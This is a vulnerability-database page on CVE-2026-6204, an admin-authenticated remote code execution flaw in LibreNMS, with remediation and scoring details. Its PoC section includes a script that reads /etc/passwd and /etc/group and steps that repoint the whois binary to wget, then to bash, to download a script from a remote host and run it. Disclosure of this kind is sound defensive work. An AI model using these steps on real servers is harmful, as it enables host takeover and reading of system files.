CVE-2026-6204 — Vulnerability in librenms/librenms — CVE Details
LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.97%). Schedule for your next planned update.
Does your project use an affected librenms/librenms version?
Paste your composer.lock to check it for CVE-2026-6204 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.
Details
The application allows administrative users to configure the absolute binary paths for network diagnostic tools at /settings/external/binaries. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the GET /ajax/netcmd endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.
PoC
To reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file malicious.sh containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.
#!/usr/bin/env bash
cat /etc/passwd
cat /etc/group
whoami
pwd
ls
-
Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.
-
Make sure the malicious script
malicious.shcan be downloaded. -
Login with an admin account and navigate to Global Settings -> External -> Binary Locations
-
Change the whois binary path to the path of wget (e.g. /usr/bin/wget).
-
Send the request
GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh. The response should contain wget's output, and malicious.sh would be downloaded by the server. -
After that, change the whois binary path to the path of bash (e.g. /bin/bash).
-
Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script.
Impact
This vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.
Remediation Advice
Loading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the ip_or_hostname bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.
Prerequisite
The attacker must have a valid Administrator account to exploit this vulnerability.
Advisory Timeline
- First published March 26, 2026 (245 days ago).
- Last revised April 14, 2026 — 19 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "librenms/librenms:^26.3.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| librenms/librenms Packagist · Affected: 1.48, 1.48.1, 1.49, 1.50 (+107 more) | 26.3.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-78OS Command InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 6.5 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
References
- https://github.com/librenms/librenms/security/advisories/GHSA-pr3g-phhr-h8fhWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-6204ADVISORY
- https://github.com/librenms/librenmsPACKAGE
- https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169WEB
- https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#binary-path-rce-pocWEB
Frequently Asked Questions
- What is CVE-2026-6204?
- LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 6.5/10).
- How do I check if my project is affected by CVE-2026-6204?
- CVE-2026-6204 affects librenms/librenms. It has a 1.0% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-6204 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Exploitation requires specific conditions, or the impact is limited.
This is an above-median EPSS score — 60.5% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2022-4070CRITICAL
Insufficient Session Expiration in librenms/librenms
- CVE-2026-84192HIGH
LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates
- CVE-2024-49759HIGH
Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/edituser.inc.php
- CVE-2024-52526HIGH
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php
- CVE-2024-50350HIGH
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
- CVE-2025-62365MEDIUM
LibreNMS is vulnerable to Reflected-XSS in `report_this` function
- CVE-2026-26992MEDIUM
LibreNMS /port-groups name Stored Cross-Site Scripting
- CVE-2024-47528LOW
LibreNMS vulnerable to Stored Cross-site Scripting via File Upload